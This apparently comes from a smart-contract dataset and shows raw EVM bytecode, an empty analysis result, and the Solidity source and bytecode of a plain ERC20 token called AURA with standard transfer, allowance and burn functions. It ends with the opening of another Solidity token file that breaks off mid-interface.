8082209390935590871681522054610779908463ffffffff610af916565b600160a060020a0386166000908152600260205260409020556107a2818463ffffffff610af916565b600160a060020a0380871660008181526001602090815260408083203386168452909152908190209390935590861691600080516020610b0c8339815191529086905190815260200160405180910390a3506001949350505050565b60065460ff1681565b60035460009033600160a060020a0390811691161461082557600080fd5b6007541561083257600080fd5b600054610845908363ffffffff610ae316565b6000908155600160a060020a038416815260026020526040902054610870908363ffffffff610ae316565b600160a060020a0384166000818152600260205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a03166000600080516020610b0c8339815191528460405190815260200160405180910390a3506001600781905592915050565b600160a060020a031660009081526002602052604090205490565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f35780601f106103c8576101008083540402835291602001916103f3565b60075481565b600160a060020a033316600090815260026020526040812054829010156109af57600080fd5b600160a060020a0333166000908152600260205260409020546109d8908363ffffffff610af916565b600160a060020a033381166000908152600260205260408082209390935590851681522054610a0d908363ffffffff610ae316565b600160a060020a038085166000818152600260205260409081902093909355913390911690600080516020610b0c8339815191529085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610aa257600080fd5b600160a060020a0381161515610ab457fe5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610af257fe5b9392505050565b600082821115610b0557fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820430cb35b89d307316c75310fbbea003ea9ce2bcc76ad70137db05e318850c7b60029
{"success": true, "error": null, "results": {}}
6,815
0xaec59e5b4f8dbf513e260500ea96eba173f74149
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address payable) { return payable (msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract AURA is Context, IERC20, Ownable { using Address for address; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() { _name = "AURA"; _symbol = "AURA"; _decimals = 18; _totalSupply = 100000000 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function decimals() external override view returns (uint8) { return _decimals; } function symbol() external override view returns (string memory) { return _symbol; } function name() external override view returns (string memory) { return _name; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, " transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, " decreased allowance below zero")); return true; } function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), " transfer from the zero address"); require(recipient != address(0), " transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, " transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), " mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "burn from the zero address"); _balances[account] = _balances[account].sub(amount, ": burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), ": approve fromm the zero address"); require(spender != address(0), ": approvee to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, ": burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102f9578063b09f126614610329578063d28d885214610347578063dd62ed3e14610365578063f2fde38b1461039557610116565b8063715018a6146102835780638da5cb5b1461028d57806395d89b41146102ab578063a457c2d7146102c957610116565b8063313ce567116100e9578063313ce567146101b757806332424aa3146101d557806339509351146101f357806342966c681461022357806370a082311461025357610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103b1565b6040516101309190611772565b60405180910390f35b610153600480360381019061014e9190611542565b610443565b6040516101609190611757565b60405180910390f35b610171610461565b60405161017e9190611894565b60405180910390f35b6101a1600480360381019061019c91906114ef565b61046b565b6040516101ae9190611757565b60405180910390f35b6101bf610544565b6040516101cc91906118af565b60405180910390f35b6101dd61055b565b6040516101ea91906118af565b60405180910390f35b61020d60048036038101906102089190611542565b61056e565b60405161021a9190611757565b60405180910390f35b61023d60048036038101906102389190611582565b610621565b60405161024a9190611757565b60405180910390f35b61026d60048036038101906102689190611482565b61063d565b60405161027a9190611894565b60405180910390f35b61028b610686565b005b6102956107d9565b6040516102a2919061173c565b60405180910390f35b6102b3610802565b6040516102c09190611772565b60405180910390f35b6102e360048036038101906102de9190611542565b610894565b6040516102f09190611757565b60405180910390f35b610313600480360381019061030e9190611542565b61097e565b6040516103209190611757565b60405180910390f35b61033161099c565b60405161033e9190611772565b60405180910390f35b61034f610a2a565b60405161035c9190611772565b60405180910390f35b61037f600480360381019061037a91906114af565b610ab8565b60405161038c9190611894565b60405180910390f35b6103af60048036038101906103aa9190611482565b610b3f565b005b6060600680546103c0906119f8565b80601f01602080910402602001604051908101604052809291908181526020018280546103ec906119f8565b80156104395780601f1061040e57610100808354040283529160200191610439565b820191906000526020600020905b81548152906001019060200180831161041c57829003601f168201915b5050505050905090565b6000610457610450610be0565b8484610be8565b6001905092915050565b6000600354905090565b6000610478848484610db3565b61053984610484610be0565b61053485604051806060016040528060228152602001611c3b60229139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ea610be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105e9092919063ffffffff16565b610be8565b600190509392505050565b6000600460009054906101000a900460ff16905090565b600460009054906101000a900460ff1681565b600061061761057b610be0565b84610612856002600061058c610be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c290919063ffffffff16565b610be8565b6001905092915050565b600061063461062e610be0565b83611120565b60019050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068e610be0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071290611854565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610811906119f8565b80601f016020809104026020016040519081016040528092919081815260200182805461083d906119f8565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b60006109746108a1610be0565b8461096f856040518060400160405280601f81526020017f2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f00815250600260006108e8610be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105e9092919063ffffffff16565b610be8565b6001905092915050565b600061099261098b610be0565b8484610db3565b6001905092915050565b600580546109a9906119f8565b80601f01602080910402602001604051908101604052809291908181526020018280546109d5906119f8565b8015610a225780601f106109f757610100808354040283529160200191610a22565b820191906000526020600020905b815481529060010190602001808311610a0557829003601f168201915b505050505081565b60068054610a37906119f8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a63906119f8565b8015610ab05780601f10610a8557610100808354040283529160200191610ab0565b820191906000526020600020905b815481529060010190602001808311610a9357829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b47610be0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90611854565b60405180910390fd5b610bdd816112e1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf906117d4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610da69190611894565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906117f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a90611834565b60405180910390fd5b610f1c816040518060400160405280602081526020017f207472616e7366657220616d6f756e7420657863656564732062616c616e6365815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105e9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110519190611894565b60405180910390a3505050565b60008383111582906110a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109d9190611772565b60405180910390fd5b50600083856110b5919061193c565b9050809150509392505050565b60008082846110d191906118e6565b905083811015611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d906117b4565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790611874565b60405180910390fd5b611219816040518060400160405280601d81526020017f3a206275726e20616d6f756e7420657863656564732062616c616e6365000000815250600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105e9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112718160035461140e90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112d59190611894565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134890611794565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061145083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105e565b905092915050565b60008135905061146781611c0c565b92915050565b60008135905061147c81611c23565b92915050565b60006020828403121561149857611497611a88565b5b60006114a684828501611458565b91505092915050565b600080604083850312156114c6576114c5611a88565b5b60006114d485828601611458565b92505060206114e585828601611458565b9150509250929050565b60008060006060848603121561150857611507611a88565b5b600061151686828701611458565b935050602061152786828701611458565b92505060406115388682870161146d565b9150509250925092565b6000806040838503121561155957611558611a88565b5b600061156785828601611458565b92505060206115788582860161146d565b9150509250929050565b60006020828403121561159857611597611a88565b5b60006115a68482850161146d565b91505092915050565b6115b881611970565b82525050565b6115c781611982565b82525050565b60006115d8826118ca565b6115e281856118d5565b93506115f28185602086016119c5565b6115fb81611a8d565b840191505092915050565b60006116136026836118d5565b915061161e82611a9e565b604082019050919050565b6000611636601b836118d5565b915061164182611aed565b602082019050919050565b6000611659601e836118d5565b915061166482611b16565b602082019050919050565b600061167c601f836118d5565b915061168782611b3f565b602082019050919050565b600061169f6020836118d5565b91506116aa82611b68565b602082019050919050565b60006116c2601d836118d5565b91506116cd82611b91565b602082019050919050565b60006116e56020836118d5565b91506116f082611bba565b602082019050919050565b6000611708601a836118d5565b915061171382611be3565b602082019050919050565b611727816119ae565b82525050565b611736816119b8565b82525050565b600060208201905061175160008301846115af565b92915050565b600060208201905061176c60008301846115be565b92915050565b6000602082019050818103600083015261178c81846115cd565b905092915050565b600060208201905081810360008301526117ad81611606565b9050919050565b600060208201905081810360008301526117cd81611629565b9050919050565b600060208201905081810360008301526117ed8161164c565b9050919050565b6000602082019050818103600083015261180d8161166f565b9050919050565b6000602082019050818103600083015261182d81611692565b9050919050565b6000602082019050818103600083015261184d816116b5565b9050919050565b6000602082019050818103600083015261186d816116d8565b9050919050565b6000602082019050818103600083015261188d816116fb565b9050919050565b60006020820190506118a9600083018461171e565b92915050565b60006020820190506118c4600083018461172d565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118f1826119ae565b91506118fc836119ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561193157611930611a2a565b5b828201905092915050565b6000611947826119ae565b9150611952836119ae565b92508282101561196557611964611a2a565b5b828203905092915050565b600061197b8261198e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119e35780820151818401526020810190506119c8565b838111156119f2576000848401525b50505050565b60006002820490506001821680611a1057607f821691505b60208210811415611a2457611a23611a59565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f3a20617070726f76656520746f20746865207a65726f20616464726573730000600082015250565b7f207472616e736665722066726f6d20746865207a65726f206164647265737300600082015250565b7f3a20617070726f76652066726f6d6d20746865207a65726f2061646472657373600082015250565b7f207472616e7366657220746f20746865207a65726f2061646472657373000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f6275726e2066726f6d20746865207a65726f2061646472657373000000000000600082015250565b611c1581611970565b8114611c2057600080fd5b50565b611c2c816119ae565b8114611c3757600080fd5b5056fe207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a1fc8582e0095f4752701140d5e00028d46c65e9f5db2982ab469b89dfe5fc764736f6c63430008070033
{"success": true, "error": null, "results": {}}
6,816
0x86bF04F8D46477a4E789A52D3F63bD86427c5414
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure 